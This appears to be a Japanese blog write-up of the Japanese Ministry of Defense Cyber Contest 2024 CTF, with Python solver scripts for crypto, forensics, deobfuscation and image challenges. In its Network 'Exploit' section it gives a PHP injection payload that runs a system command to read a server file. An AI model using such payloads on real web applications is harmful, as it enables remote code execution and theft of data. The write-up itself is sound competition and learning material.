1
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

防衛省 サイバーコンテスト 2024 wirteup

Last updated at Posted at 2024-02-25

2024/02/25にあった、防衛省 サイバーコンテスト 2024のwriteupです!

[岐阜大学CTF&競プロ&日曜工作やらハッカソンやらのためのサークル]に所属してますので、ご興味ある岐大生の方は是非!(宣伝)(https://twitter.com/ProgCirGifuUni)
スクリーンショット 2024-02-25 211157.png

スクリーンショット 2024-02-25 212813.png

以下writeup

Crypto

Information of Certificate

問題文そのまま、発行者のCNの
QRK7rNJ3hShV.vlc-cybercontest.invalid
がflag

Information of Certificate.png

Missing IV

データを出力した先にzip化する2段構え!

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

# 暗号鍵(16進数文字列からバイト列へ変換)
key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")

# IVが不明なので、ダミーのIV(全てゼロ)を使用
iv = b"\x00" * 16

# 暗号化されたデータを読み込む
with open("C:\\Users\\sadan\\Downloads\\NoIV.bin", "rb") as f:
    encrypted_data = f.read()

# Cipherオブジェクトの作成
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

# 復号器の作成
decryptor = cipher.decryptor()

# データの復号
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

# 復号されたデータをZIPファイルとして保存
with open("decrypted.zip", "wb") as f:
    f.write(decrypted_data)

Forensics

NTFS Data Hide

autospyで解析する。
NTFSDataHideディレクトリのSample.pptx:scriptファイルに怪しげな文がありbase64で変換するとflagが得られる。

NTFS Data Hide.png

NTFS File Delete

autospyで解析する。
削除されたファイルシステム欄からflag.txtを見つけることが出来た。

NTFS File Delete.png

NTFS File Rename

autospyで解析する。
ファイル名の変更履歴をイベントのタイムラインからLogfileのテキストデータを追うと探しているdocxファイル名が見つかった。

NTFS File Rename.png

My Secret

無理やり全て文字起こしして、vscodeで開いてflagの大小とサイズの一致している部分を探していたら見つかった。
flagはflag{you_cannot_find_this_secret!}

strings -n 5 "C:\Users\sadan\Downloads\memdump\memdump.raw" > "C:\Users\sadan\Downloads\memdump\strings.txt"

My Secret.png

Miscellaneous

Une Maison

maison.jpg

Une Maison2.png

Une Maison.png

写真をよく見ると、中心の方にバーコードのようなものが見える。
そこだけ切り取りWebバーコードリーダーで文字起こしするとflagが得られる。

String Obfuscation

問題

import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

よって以下のようにpythonのコードを書くと

FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

print(FLAG)

3FxYFm4uTYDFFzmb3がflagと分かった。

Where Is the Legit Flag?

#
TTT=chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)
print(TTT)

# 16進数のリストを定義
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]

WATANABE=[WA^ 0b01010011 for WA in reversed(TAKAHASHI)]



# リストの各要素を文字に変換し、それらを連結して文字列を形成する関数
def decode_hex_to_string(hex_list):
    return ''.join(chr(x) for x in hex_list)

# 変換関数を使用して16進数のリストを文字列に変換
decoded_string = decode_hex_to_string(WATANABE)

# 結果の文字列を出力
print(decoded_string)

import zlib, base64
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
zlib.decompress(base64.b64decode(TANAKA))
# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'

# Above face explain for physical decision. 
# Via snake name round terrific brass. 
# Following suggestion sound regarding female recess. 
# Toward vessel disagree beneath huge porter.
SUZUKI = [
    74-0+0,
    87*1, int(48**1),
    # Off purpose land as rural statement.
    int(83), int(32.00000), int('34'),
    76 & 0xFF, 72 | 0x00, 79 ^ 0x00, [65][0],
    # During knot rely save wretched scarecrow. 
    (2), 47 if True else 0, int(12/1), 10 % 11, ord(chr(26)),
    30+5, int(48/2*2), 9*9
]

# Plus toe settle with vast insect. 
# Save hands shelter with ratty produce.
# Outside legs nest versus tranquil relation.
# As walk pat round rightful advice. 
# Beside payment train by large key.
# Past behavior post toward unable home. 
# Among place complain considering unknown current.
# Around spark scorch above spotty grape. 
# Underneath jewel chop past dependent rifle.
# Since cobweb tie off hurt string.
# Through queen dam of slippery comparison.
# By wall stroke without secret wash.
# Opposite yoke need beside superb lumber. 
result = ''.join([SATO[i] for i in SUZUKI])

print("flog{8vje9wunbp984}")


print(result)


flog{8vje9wunbp984}
flag{PHmN2ILK6vsa}
でflagが得られた。

Network

Discovery

Discovery5.png

Discovery4.png

Discovery3.png

Discovery2.png

最後にヘッダーのHelp->infoからバージョンが確認できた

Discovery.png

Exploit

ファイルタイプをphpに変更したうえでdescriptionの所に以下を埋め込むとflagをゲットできる

"></head><body><?php echo system("cat /var/www/flag.txt");?></body><meta name="
で
flag{G3t_R3v3rs3_Sh3ll} flag{G3t_R3v3rs3_Sh3ll}

Exploit.png

Exploit2.png

FileExtract

TCPストリームでパスワードやzipファイルを取得していることがわかる。
なので、まずはzipファイルを入手する。
以下のようにするとflagが得られた。

FileExtract2.png

FileExtract.png

FileExtract3.png

Programming

Logistic Map

tmp=0.3
for i in range(10000-1):
    tmp=3.99*tmp*(1-tmp)
print(tmp)    

で0.8112735079776592
よってflag{0.8112735}

XML Confectioner

最大値更新するクッキーの条件と、途中ではじくクッキーの条件が微妙に違うのに注意!

import xml.etree.ElementTree as ET

# ファイルパス
file_path = "C:\\Users\\sadan\\Downloads\\sweets\\sweets.xml"

# ファイルからXMLデータを読み込む
tree = ET.parse(file_path)
root = tree.getroot()

# 最も大きなradiusを持つcookieの内容を格納する変数
largest_radius = 0.0
flag_content = None

# 条件を満たすbatchを探す
for batch in root.findall('.//sweets:batch', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'}):
    icecreams = batch.findall('.//sweets:icecream', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
    candies = batch.findall('.//sweets:candy', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
    cookies = batch.findall('.//sweets:cookie', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})

    # 条件1: 少なくとも二つのicecreamが含まれる
    if len(icecreams) < 2 or any(float(icecream.get('{http://xml.vlc-cybercontest.com/icecream}amount')[:-1]) < 105 for icecream in icecreams):
        continue

    # 条件2: candiesのweight合計が28.0g以上
    total_weight = sum(float(candy.get('{http://xml.vlc-cybercontest.com/candy}weight')[:-1]) for candy in candies)
    if total_weight < 28.0:
        continue

    # 条件3: candiesのshapeが5種類以上
    shapes = {candy.get('{http://xml.vlc-cybercontest.com/candy}shape') for candy in candies}
    if len(shapes) < 5:
        continue

    # 条件4: cookie:kindがicingであり、かつcookie:radiusが3.0cm以上のcookieが少なくとも一つ含まれる
    icing_cookies = [cookie for cookie in cookies if cookie.get('{http://xml.vlc-cybercontest.com/cookie}kind') == 'icing' and float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2]) >= 3.0]
    if not icing_cookies:
        continue

    # 最も大きなradiusを持つcookieの内容を更新(ここではkindに関わらず全てのcookieを対象にする)
    for cookie in cookies:
        radius = float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2])
        if radius > largest_radius:
            largest_radius = radius
            flag_content = cookie.text

# 条件を満たす最大のradiusを持つcookieの内容を出力
if flag_content:
    print(flag_content)
else:
    print("条件を満たすcookieが見つかりませんでした。")

XML Confectioner.png

Twisted Text

書く!
解けたのにflagの文字列読み取るのが難しい...



from PIL import Image
import math

# 画像を読み込む
img = Image.open("C:\\Users\\sadan\\Downloads\\Twisted.png")
width, height = img.size

# 出力画像を作成
output_img = Image.new("RGB", (width, height))

# 画像の中心
cx, cy = width / 2, height / 2

# 各ピクセルに対して逆変換を施す
for x in range(width):
    for y in range(height):
        # 中心からの距離rを計算
        dx = x - cx
        dy = y - cy
        r = math.sqrt(dx**2 + dy**2)

        # 回転角を計算
        theta = -(r ** 2) / (250 ** 2)

        # 元の座標を計算
        orig_x = math.cos(theta) * dx + math.sin(theta) * dy + cx
        orig_y = -math.sin(theta) * dx + math.cos(theta) * dy + cy

        # 元の座標が画像内にある場合は、その色を出力画像にコピー
        if 0 <= orig_x < width and 0 <= orig_y < height:
            output_img.putpixel((x, y), img.getpixel((int(orig_x), int(orig_y))))

# 出力画像を保存または表示
output_img.save("Restored.png")
output_img.show()


Restored.png

Trivia

The Original Name of AES

Rijndaelらしい。さすがGPT先生...!

The Original Name of AES.png

CVE Record of Lowest Number

CVE-1999-0001が最古であるところまではGPT先生が教えてくれたので、あとはGoogle先生に聞きに行く

求めるファイル名は ip_input.c

CVE Record of Lowest Number2.png

CVE Record of Lowest Number.png

MFA Factors

GPT先生が大体教えてくれた。先生はアメリカ育ちなので資格系の問題だと英訳の時のちょっとの違いが苦手

所持・生体・知識

MFA Factors.png

Web

Browsers Have Local Storage

Webサイトに飛ぶとNothing here, but... と表示されるのと問題のタイトルからソースコードにありそうとあたりを付ける。
フラグはjavascriptのソースコードにあった。

Browsers Have Local Storage.png

感想

・Miscellaneous問Serial Port SignalとProgramming問Randomness Extractionが情報理論系の問題に見えたから解き切りたかったな....
・Network問Exploitのサーバーが共用だったのか、解き終わるよりも先にネタバレ見てしまった...
・時間配分ミスったな、解ける問題あったのに!

1
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?